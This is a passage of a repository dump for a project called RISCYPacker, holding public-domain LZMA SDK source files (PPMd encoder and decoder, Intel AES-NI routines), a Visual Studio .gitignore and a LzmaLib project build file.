RangeEnc_Encode(CPpmd7z_RangeEnc *p, UInt32 start, UInt32 size, UInt32 total) 37 | { 38 | p->Low += start * (p->Range /= total); 39 | p->Range *= size; 40 | while (p->Range < kTopValue) 41 | { 42 | p->Range <<= 8; 43 | RangeEnc_ShiftLow(p); 44 | } 45 | } 46 | 47 | static void RangeEnc_EncodeBit_0(CPpmd7z_RangeEnc *p, UInt32 size0) 48 | { 49 | p->Range = (p->Range >> 14) * size0; 50 | while (p->Range < kTopValue) 51 | { 52 | p->Range <<= 8; 53 | RangeEnc_ShiftLow(p); 54 | } 55 | } 56 | 57 | static void RangeEnc_EncodeBit_1(CPpmd7z_RangeEnc *p, UInt32 size0) 58 | { 59 | UInt32 newBound = (p->Range >> 14) * size0; 60 | p->Low += newBound; 61 | p->Range -= newBound; 62 | while (p->Range < kTopValue) 63 | { 64 | p->Range <<= 8; 65 | RangeEnc_ShiftLow(p); 66 | } 67 | } 68 | 69 | void Ppmd7z_RangeEnc_FlushData(CPpmd7z_RangeEnc *p) 70 | { 71 | unsigned i; 72 | for (i = 0; i < 5; i++) 73 | RangeEnc_ShiftLow(p); 74 | } 75 | 76 | 77 | #define MASK(sym) ((signed char *)charMask)[sym] 78 | 79 | void Ppmd7_EncodeSymbol(CPpmd7 *p, CPpmd7z_RangeEnc *rc, int symbol) 80 | { 81 | size_t charMask[256 / sizeof(size_t)]; 82 | if (p->MinContext->NumStats != 1) 83 | { 84 | CPpmd_State *s = Ppmd7_GetStats(p, p->MinContext); 85 | UInt32 sum; 86 | unsigned i; 87 | if (s->Symbol == symbol) 88 | { 89 | RangeEnc_Encode(rc, 0, s->Freq, p->MinContext->SummFreq); 90 | p->FoundState = s; 91 | Ppmd7_Update1_0(p); 92 | return; 93 | } 94 | p->PrevSuccess = 0; 95 | sum = s->Freq; 96 | i = p->MinContext->NumStats - 1; 97 | do 98 | { 99 | if ((++s)->Symbol == symbol) 100 | { 101 | RangeEnc_Encode(rc, sum, s->Freq, p->MinContext->SummFreq); 102 | p->FoundState = s; 103 | Ppmd7_Update1(p); 104 | return; 105 | } 106 | sum += s->Freq; 107 | } 108 | while (--i); 109 | 110 | p->HiBitsFlag = p->HB2Flag[p->FoundState->Symbol]; 111 | PPMD_SetAllBitsIn256Bytes(charMask); 112 | MASK(s->Symbol) = 0; 113 | i = p->MinContext->NumStats - 1; 114 | do { MASK((--s)->Symbol) = 0; } while (--i); 115 | RangeEnc_Encode(rc, sum, p->MinContext->SummFreq - sum, p->MinContext->SummFreq); 116 | } 117 | else 118 | { 119 | UInt16 *prob = Ppmd7_GetBinSumm(p); 120 | CPpmd_State *s = Ppmd7Context_OneState(p->MinContext); 121 | if (s->Symbol == symbol) 122 | { 123 | RangeEnc_EncodeBit_0(rc, *prob); 124 | *prob = (UInt16)PPMD_UPDATE_PROB_0(*prob); 125 | p->FoundState = s; 126 | Ppmd7_UpdateBin(p); 127 | return; 128 | } 129 | else 130 | { 131 | RangeEnc_EncodeBit_1(rc, *prob); 132 | *prob = (UInt16)PPMD_UPDATE_PROB_1(*prob); 133 | p->InitEsc = PPMD7_kExpEscape[*prob >> 10]; 134 | PPMD_SetAllBitsIn256Bytes(charMask); 135 | MASK(s->Symbol) = 0; 136 | p->PrevSuccess = 0; 137 | } 138 | } 139 | for (;;) 140 | { 141 | UInt32 escFreq; 142 | CPpmd_See *see; 143 | CPpmd_State *s; 144 | UInt32 sum; 145 | unsigned i, numMasked = p->MinContext->NumStats; 146 | do 147 | { 148 | p->OrderFall++; 149 | if (!p->MinContext->Suffix) 150 | return; /* EndMarker (symbol = -1) */ 151 | p->MinContext = Ppmd7_GetContext(p, p->MinContext->Suffix); 152 | } 153 | while (p->MinContext->NumStats == numMasked); 154 | 155 | see = Ppmd7_MakeEscFreq(p, numMasked, &escFreq); 156 | s = Ppmd7_GetStats(p, p->MinContext); 157 | sum = 0; 158 | i = p->MinContext->NumStats; 159 | do 160 | { 161 | int cur = s->Symbol; 162 | if (cur == symbol) 163 | { 164 | UInt32 low = sum; 165 | CPpmd_State *s1 = s; 166 | do 167 | { 168 | sum += (s->Freq & (int)(MASK(s->Symbol))); 169 | s++; 170 | } 171 | while (--i); 172 | RangeEnc_Encode(rc, low, s1->Freq, sum + escFreq); 173 | Ppmd_See_Update(see); 174 | p->FoundState = s1; 175 | Ppmd7_Update2(p); 176 | return; 177 | } 178 | sum += (s->Freq & (int)(MASK(cur))); 179 | MASK(cur) = 0; 180 | s++; 181 | } 182 | while (--i); 183 | 184 | RangeEnc_Encode(rc, sum, escFreq, sum + escFreq); 185 | see->Summ = (UInt16)(see->Summ + sum + escFreq); 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/AesOpt.c: -------------------------------------------------------------------------------- 1 | /* AesOpt.c -- Intel's AES 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "CpuArch.h" 7 | 8 | #ifdef MY_CPU_X86_OR_AMD64 9 | #if _MSC_VER >= 1500 10 | #define USE_INTEL_AES 11 | #endif 12 | #endif 13 | 14 | #ifdef USE_INTEL_AES 15 | 16 | #include 17 | 18 | void MY_FAST_CALL AesCbc_Encode_Intel(__m128i *p, __m128i *data, size_t numBlocks) 19 | { 20 | __m128i m = *p; 21 | for (; numBlocks != 0; numBlocks--, data++) 22 | { 23 | UInt32 numRounds2 = *(const UInt32 *)(p + 1) - 1; 24 | const __m128i *w = p + 3; 25 | m = _mm_xor_si128(m, *data); 26 | m = _mm_xor_si128(m, p[2]); 27 | do 28 | { 29 | m = _mm_aesenc_si128(m, w[0]); 30 | m = _mm_aesenc_si128(m, w[1]); 31 | w += 2; 32 | } 33 | while (--numRounds2 != 0); 34 | m = _mm_aesenc_si128(m, w[0]); 35 | m = _mm_aesenclast_si128(m, w[1]); 36 | *data = m; 37 | } 38 | *p = m; 39 | } 40 | 41 | #define NUM_WAYS 3 42 | 43 | #define AES_OP_W(op, n) { \ 44 | const __m128i t = w[n]; \ 45 | m0 = op(m0, t); \ 46 | m1 = op(m1, t); \ 47 | m2 = op(m2, t); \ 48 | } 49 | 50 | #define AES_DEC(n) AES_OP_W(_mm_aesdec_si128, n) 51 | #define AES_DEC_LAST(n) AES_OP_W(_mm_aesdeclast_si128, n) 52 | #define AES_ENC(n) AES_OP_W(_mm_aesenc_si128, n) 53 | #define AES_ENC_LAST(n) AES_OP_W(_mm_aesenclast_si128, n) 54 | 55 | void MY_FAST_CALL AesCbc_Decode_Intel(__m128i *p, __m128i *data, size_t numBlocks) 56 | { 57 | __m128i iv = *p; 58 | for (; numBlocks >= NUM_WAYS; numBlocks -= NUM_WAYS, data += NUM_WAYS) 59 | { 60 | UInt32 numRounds2 = *(const UInt32 *)(p + 1); 61 | const __m128i *w = p + numRounds2 * 2; 62 | __m128i m0, m1, m2; 63 | { 64 | const __m128i t = w[2]; 65 | m0 = _mm_xor_si128(t, data[0]); 66 | m1 = _mm_xor_si128(t, data[1]); 67 | m2 = _mm_xor_si128(t, data[2]); 68 | } 69 | numRounds2--; 70 | do 71 | { 72 | AES_DEC(1) 73 | AES_DEC(0) 74 | w -= 2; 75 | } 76 | while (--numRounds2 != 0); 77 | AES_DEC(1) 78 | AES_DEC_LAST(0) 79 | 80 | { 81 | __m128i t; 82 | t = _mm_xor_si128(m0, iv); iv = data[0]; data[0] = t; 83 | t = _mm_xor_si128(m1, iv); iv = data[1]; data[1] = t; 84 | t = _mm_xor_si128(m2, iv); iv = data[2]; data[2] = t; 85 | } 86 | } 87 | for (; numBlocks != 0; numBlocks--, data++) 88 | { 89 | UInt32 numRounds2 = *(const UInt32 *)(p + 1); 90 | const __m128i *w = p + numRounds2 * 2; 91 | __m128i m = _mm_xor_si128(w[2], *data); 92 | numRounds2--; 93 | do 94 | { 95 | m = _mm_aesdec_si128(m, w[1]); 96 | m = _mm_aesdec_si128(m, w[0]); 97 | w -= 2; 98 | } 99 | while (--numRounds2 != 0); 100 | m = _mm_aesdec_si128(m, w[1]); 101 | m = _mm_aesdeclast_si128(m, w[0]); 102 | 103 | m = _mm_xor_si128(m, iv); 104 | iv = *data; 105 | *data = m; 106 | } 107 | *p = iv; 108 | } 109 | 110 | void MY_FAST_CALL AesCtr_Code_Intel(__m128i *p, __m128i *data, size_t numBlocks) 111 | { 112 | __m128i ctr = *p; 113 | __m128i one; 114 | one.m128i_u64[0] = 1; 115 | one.m128i_u64[1] = 0; 116 | for (; numBlocks >= NUM_WAYS; numBlocks -= NUM_WAYS, data += NUM_WAYS) 117 | { 118 | UInt32 numRounds2 = *(const UInt32 *)(p + 1) - 1; 119 | const __m128i *w = p; 120 | __m128i m0, m1, m2; 121 | { 122 | const __m128i t = w[2]; 123 | ctr = _mm_add_epi64(ctr, one); m0 = _mm_xor_si128(ctr, t); 124 | ctr = _mm_add_epi64(ctr, one); m1 = _mm_xor_si128(ctr, t); 125 | ctr = _mm_add_epi64(ctr, one); m2 = _mm_xor_si128(ctr, t); 126 | } 127 | w += 3; 128 | do 129 | { 130 | AES_ENC(0) 131 | AES_ENC(1) 132 | w += 2; 133 | } 134 | while (--numRounds2 != 0); 135 | AES_ENC(0) 136 | AES_ENC_LAST(1) 137 | data[0] = _mm_xor_si128(data[0], m0); 138 | data[1] = _mm_xor_si128(data[1], m1); 139 | data[2] = _mm_xor_si128(data[2], m2); 140 | } 141 | for (; numBlocks != 0; numBlocks--, data++) 142 | { 143 | UInt32 numRounds2 = *(const UInt32 *)(p + 1) - 1; 144 | const __m128i *w = p; 145 | __m128i m; 146 | ctr = _mm_add_epi64(ctr, one); 147 | m = _mm_xor_si128(ctr, p[2]); 148 | w += 3; 149 | do 150 | { 151 | m = _mm_aesenc_si128(m, w[0]); 152 | m = _mm_aesenc_si128(m, w[1]); 153 | w += 2; 154 | } 155 | while (--numRounds2 != 0); 156 | m = _mm_aesenc_si128(m, w[0]); 157 | m = _mm_aesenclast_si128(m, w[1]); 158 | *data = _mm_xor_si128(*data, m); 159 | } 160 | *p = ctr; 161 | } 162 | 163 | #else 164 | 165 | void MY_FAST_CALL AesCbc_Encode(UInt32 *ivAes, Byte *data, size_t numBlocks); 166 | void MY_FAST_CALL AesCbc_Decode(UInt32 *ivAes, Byte *data, size_t numBlocks); 167 | void MY_FAST_CALL AesCtr_Code(UInt32 *ivAes, Byte *data, size_t numBlocks); 168 | 169 | void MY_FAST_CALL AesCbc_Encode_Intel(UInt32 *p, Byte *data, size_t numBlocks) 170 | { 171 | AesCbc_Encode(p, data, numBlocks); 172 | } 173 | 174 | void MY_FAST_CALL AesCbc_Decode_Intel(UInt32 *p, Byte *data, size_t numBlocks) 175 | { 176 | AesCbc_Decode(p, data, numBlocks); 177 | } 178 | 179 | void MY_FAST_CALL AesCtr_Code_Intel(UInt32 *p, Byte *data, size_t numBlocks) 180 | { 181 | AesCtr_Code(p, data, numBlocks); 182 | } 183 | 184 | #endif 185 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Ppmd7Dec.c: -------------------------------------------------------------------------------- 1 | /* Ppmd7Dec.c -- PPMdH Decoder 2 | 2010-03-12 : Igor Pavlov : Public domain 3 | This code is based on PPMd var.H (2001): Dmitry Shkarin : Public domain */ 4 | 5 | #include "Precomp.h" 6 | 7 | #include "Ppmd7.h" 8 | 9 | #define kTopValue (1 << 24) 10 | 11 | Bool Ppmd7z_RangeDec_Init(CPpmd7z_RangeDec *p) 12 | { 13 | unsigned i; 14 | p->Code = 0; 15 | p->Range = 0xFFFFFFFF; 16 | if (p->Stream->Read((void *)p->Stream) != 0) 17 | return False; 18 | for (i = 0; i < 4; i++) 19 | p->Code = (p->Code << 8) | p->Stream->Read((void *)p->Stream); 20 | return (p->Code < 0xFFFFFFFF); 21 | } 22 | 23 | static UInt32 Range_GetThreshold(void *pp, UInt32 total) 24 | { 25 | CPpmd7z_RangeDec *p = (CPpmd7z_RangeDec *)pp; 26 | return (p->Code) / (p->Range /= total); 27 | } 28 | 29 | static void Range_Normalize(CPpmd7z_RangeDec *p) 30 | { 31 | if (p->Range < kTopValue) 32 | { 33 | p->Code = (p->Code << 8) | p->Stream->Read((void *)p->Stream); 34 | p->Range <<= 8; 35 | if (p->Range < kTopValue) 36 | { 37 | p->Code = (p->Code << 8) | p->Stream->Read((void *)p->Stream); 38 | p->Range <<= 8; 39 | } 40 | } 41 | } 42 | 43 | static void Range_Decode(void *pp, UInt32 start, UInt32 size) 44 | { 45 | CPpmd7z_RangeDec *p = (CPpmd7z_RangeDec *)pp; 46 | p->Code -= start * p->Range; 47 | p->Range *= size; 48 | Range_Normalize(p); 49 | } 50 | 51 | static UInt32 Range_DecodeBit(void *pp, UInt32 size0) 52 | { 53 | CPpmd7z_RangeDec *p = (CPpmd7z_RangeDec *)pp; 54 | UInt32 newBound = (p->Range >> 14) * size0; 55 | UInt32 symbol; 56 | if (p->Code < newBound) 57 | { 58 | symbol = 0; 59 | p->Range = newBound; 60 | } 61 | else 62 | { 63 | symbol = 1; 64 | p->Code -= newBound; 65 | p->Range -= newBound; 66 | } 67 | Range_Normalize(p); 68 | return symbol; 69 | } 70 | 71 | void Ppmd7z_RangeDec_CreateVTable(CPpmd7z_RangeDec *p) 72 | { 73 | p->p.GetThreshold = Range_GetThreshold; 74 | p->p.Decode = Range_Decode; 75 | p->p.DecodeBit = Range_DecodeBit; 76 | } 77 | 78 | 79 | #define MASK(sym) ((signed char *)charMask)[sym] 80 | 81 | int Ppmd7_DecodeSymbol(CPpmd7 *p, IPpmd7_RangeDec *rc) 82 | { 83 | size_t charMask[256 / sizeof(size_t)]; 84 | if (p->MinContext->NumStats != 1) 85 | { 86 | CPpmd_State *s = Ppmd7_GetStats(p, p->MinContext); 87 | unsigned i; 88 | UInt32 count, hiCnt; 89 | if ((count = rc->GetThreshold(rc, p->MinContext->SummFreq)) < (hiCnt = s->Freq)) 90 | { 91 | Byte symbol; 92 | rc->Decode(rc, 0, s->Freq); 93 | p->FoundState = s; 94 | symbol = s->Symbol; 95 | Ppmd7_Update1_0(p); 96 | return symbol; 97 | } 98 | p->PrevSuccess = 0; 99 | i = p->MinContext->NumStats - 1; 100 | do 101 | { 102 | if ((hiCnt += (++s)->Freq) > count) 103 | { 104 | Byte symbol; 105 | rc->Decode(rc, hiCnt - s->Freq, s->Freq); 106 | p->FoundState = s; 107 | symbol = s->Symbol; 108 | Ppmd7_Update1(p); 109 | return symbol; 110 | } 111 | } 112 | while (--i); 113 | if (count >= p->MinContext->SummFreq) 114 | return -2; 115 | p->HiBitsFlag = p->HB2Flag[p->FoundState->Symbol]; 116 | rc->Decode(rc, hiCnt, p->MinContext->SummFreq - hiCnt); 117 | PPMD_SetAllBitsIn256Bytes(charMask); 118 | MASK(s->Symbol) = 0; 119 | i = p->MinContext->NumStats - 1; 120 | do { MASK((--s)->Symbol) = 0; } while (--i); 121 | } 122 | else 123 | { 124 | UInt16 *prob = Ppmd7_GetBinSumm(p); 125 | if (rc->DecodeBit(rc, *prob) == 0) 126 | { 127 | Byte symbol; 128 | *prob = (UInt16)PPMD_UPDATE_PROB_0(*prob); 129 | symbol = (p->FoundState = Ppmd7Context_OneState(p->MinContext))->Symbol; 130 | Ppmd7_UpdateBin(p); 131 | return symbol; 132 | } 133 | *prob = (UInt16)PPMD_UPDATE_PROB_1(*prob); 134 | p->InitEsc = PPMD7_kExpEscape[*prob >> 10]; 135 | PPMD_SetAllBitsIn256Bytes(charMask); 136 | MASK(Ppmd7Context_OneState(p->MinContext)->Symbol) = 0; 137 | p->PrevSuccess = 0; 138 | } 139 | for (;;) 140 | { 141 | CPpmd_State *ps[256], *s; 142 | UInt32 freqSum, count, hiCnt; 143 | CPpmd_See *see; 144 | unsigned i, num, numMasked = p->MinContext->NumStats; 145 | do 146 | { 147 | p->OrderFall++; 148 | if (!p->MinContext->Suffix) 149 | return -1; 150 | p->MinContext = Ppmd7_GetContext(p, p->MinContext->Suffix); 151 | } 152 | while (p->MinContext->NumStats == numMasked); 153 | hiCnt = 0; 154 | s = Ppmd7_GetStats(p, p->MinContext); 155 | i = 0; 156 | num = p->MinContext->NumStats - numMasked; 157 | do 158 | { 159 | int k = (int)(MASK(s->Symbol)); 160 | hiCnt += (s->Freq & k); 161 | ps[i] = s++; 162 | i -= k; 163 | } 164 | while (i != num); 165 | 166 | see = Ppmd7_MakeEscFreq(p, numMasked, &freqSum); 167 | freqSum += hiCnt; 168 | count = rc->GetThreshold(rc, freqSum); 169 | 170 | if (count < hiCnt) 171 | { 172 | Byte symbol; 173 | CPpmd_State **pps = ps; 174 | for (hiCnt = 0; (hiCnt += (*pps)->Freq) <= count; pps++); 175 | s = *pps; 176 | rc->Decode(rc, hiCnt - s->Freq, s->Freq); 177 | Ppmd_See_Update(see); 178 | p->FoundState = s; 179 | symbol = s->Symbol; 180 | Ppmd7_Update2(p); 181 | return symbol; 182 | } 183 | if (count >= freqSum) 184 | return -2; 185 | rc->Decode(rc, hiCnt, freqSum - hiCnt); 186 | see->Summ = (UInt16)(see->Summ + freqSum); 187 | do { MASK(ps[--i]->Symbol) = 0; } while (i != 0); 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/LzmaLib/LzmaLib.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="LzmaLib" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 6 | 7 | CFG=LzmaLib - Win32 Debug 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "LzmaLib.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "LzmaLib.mak" CFG="LzmaLib - Win32 Debug" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "LzmaLib - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") 21 | !MESSAGE "LzmaLib - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") 22 | !MESSAGE 23 | 24 | # Begin Project 25 | # PROP AllowPerConfigDependencies 0 26 | # PROP Scc_ProjName "" 27 | # PROP Scc_LocalPath "" 28 | CPP=cl.exe 29 | MTL=midl.exe 30 | RSC=rc.exe 31 | 32 | !IF "$(CFG)" == "LzmaLib - Win32 Release" 33 | 34 | # PROP BASE Use_MFC 0 35 | # PROP BASE Use_Debug_Libraries 0 36 | # PROP BASE Output_Dir "Release" 37 | # PROP BASE Intermediate_Dir "Release" 38 | # PROP BASE Target_Dir "" 39 | # PROP Use_MFC 0 40 | # PROP Use_Debug_Libraries 0 41 | # PROP Output_Dir "Release" 42 | # PROP Intermediate_Dir "Release" 43 | # PROP Ignore_Export_Lib 0 44 | # PROP Target_Dir "" 45 | # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LZMALIB_EXPORTS" /YX /FD /c 46 | # ADD CPP /nologo /Gr /MT /W3 /O2 /D "NDEBUG" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LZMALIB_EXPORTS" /FD /c 47 | # SUBTRACT CPP /YX 48 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 49 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 50 | # ADD BASE RSC /l 0x419 /d "NDEBUG" 51 | # ADD RSC /l 0x419 /d "NDEBUG" 52 | BSC32=bscmake.exe 53 | # ADD BASE BSC32 /nologo 54 | # ADD BSC32 /nologo 55 | LINK32=link.exe 56 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 57 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"C:\Util\LZMA.dll" /opt:NOWIN98 58 | # SUBTRACT LINK32 /pdb:none 59 | 60 | !ELSEIF "$(CFG)" == "LzmaLib - Win32 Debug" 61 | 62 | # PROP BASE Use_MFC 0 63 | # PROP BASE Use_Debug_Libraries 1 64 | # PROP BASE Output_Dir "Debug" 65 | # PROP BASE Intermediate_Dir "Debug" 66 | # PROP BASE Target_Dir "" 67 | # PROP Use_MFC 0 68 | # PROP Use_Debug_Libraries 1 69 | # PROP Output_Dir "Debug" 70 | # PROP Intermediate_Dir "Debug" 71 | # PROP Ignore_Export_Lib 0 72 | # PROP Target_Dir "" 73 | # ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LZMALIB_EXPORTS" /YX /FD /GZ /c 74 | # ADD CPP /nologo /MTd /W3 /Gm /ZI /Od /D "_DEBUG" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "LZMALIB_EXPORTS" /D "COMPRESS_MF_MT" /FD /GZ /c 75 | # SUBTRACT CPP /YX 76 | # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 77 | # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 78 | # ADD BASE RSC /l 0x419 /d "_DEBUG" 79 | # ADD RSC /l 0x419 /d "_DEBUG" 80 | BSC32=bscmake.exe 81 | # ADD BASE BSC32 /nologo 82 | # ADD BSC32 /nologo 83 | LINK32=link.exe 84 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept 85 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /out:"C:\Util\LZMA.dll" /pdbtype:sept 86 | 87 | !ENDIF 88 | 89 | # Begin Target 90 | 91 | # Name "LzmaLib - Win32 Release" 92 | # Name "LzmaLib - Win32 Debug" 93 | # Begin Group "Spec" 94 | 95 | # PROP Default_Filter "" 96 | # Begin Source File 97 | 98 | SOURCE=.\LzmaLib.def 99 | # End Source File 100 | # Begin Source File 101 | 102 | SOURCE=.\LzmaLibExports.c 103 | # End Source File 104 | # End Group 105 | # Begin Source File 106 | 107 | SOURCE=..\..\7zTypes.h 108 | # End Source File 109 | # Begin Source File 110 | 111 | SOURCE=..\..\Alloc.c 112 | # End Source File 113 | # Begin Source File 114 | 115 | SOURCE=..\..\Alloc.h 116 | # End Source File 117 | # Begin Source File 118 | 119 | SOURCE=..\..\IStream.h 120 | # End Source File 121 | # Begin Source File 122 | 123 | SOURCE=..\..\LzFind.c 124 | # End Source File 125 | # Begin Source File 126 | 127 | SOURCE=..\..\LzFind.h 128 | # End Source File 129 | # Begin Source File 130 | 131 | SOURCE=..\..\LzFindMt.c 132 | # End Source File 133 | # Begin Source File 134 | 135 | SOURCE=..\..\LzFindMt.h 136 | # End Source File 137 | # Begin Source File 138 | 139 | SOURCE=..\..\LzHash.h 140 | # End 